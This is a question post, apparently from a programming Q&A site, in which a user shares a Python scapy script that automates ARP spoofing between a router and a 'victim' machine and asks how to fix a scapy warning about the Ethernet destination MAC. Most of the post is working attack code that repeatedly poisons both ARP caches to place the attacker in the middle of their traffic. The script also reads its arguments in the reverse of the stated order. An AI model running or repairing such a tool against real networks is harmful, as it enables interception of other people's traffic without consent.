I have this code, I want to automize the process of ARP Spoofing.
You run the program like this sudo python3 arpSpoof.py 192.168.1.1 192.168.1.101
The first IP address is the one of the router, and the other one is the one of the victim machine machine.
This is the code:
import sys
from scapy.all import *
def arp_spoof (dest_ip, dest_mac, source_ip):
packet = ARP(op="is-at", psrc= source_ip, hwdst=dest_mac, pdst=dest_ip )
send(packet, verbose=False)
def arp_restore (dest_ip, dest_mac, source_ip, source_mac):
packet = ARP(op="is-at", hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
send(packet, verbose=False)
def main():
victim_ip = sys.argv[1]
print(victim_ip)
router_ip = sys.argv[2]
print(router_ip)
victim_mac = getmacbyip(victim_ip)
router_mac = getmacbyip(router_ip)
try:
print("Sending spoofed ARP packets")
while True:
arp_spoof(victim_ip, victim_mac, router_ip)
arp_spoof(router_ip, router_mac, victim_ip)
except KeyboardInterrupt:
print("Restoring ARP Tables")
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
quit()
main()
When I execute the program, it starts fine, but then when it’s executing the arp_spoof
function, I get an error: WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
But Im’providing the MAC address destionation (hwdest)
How should I fix the code?
Thank you
giaco dev is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
4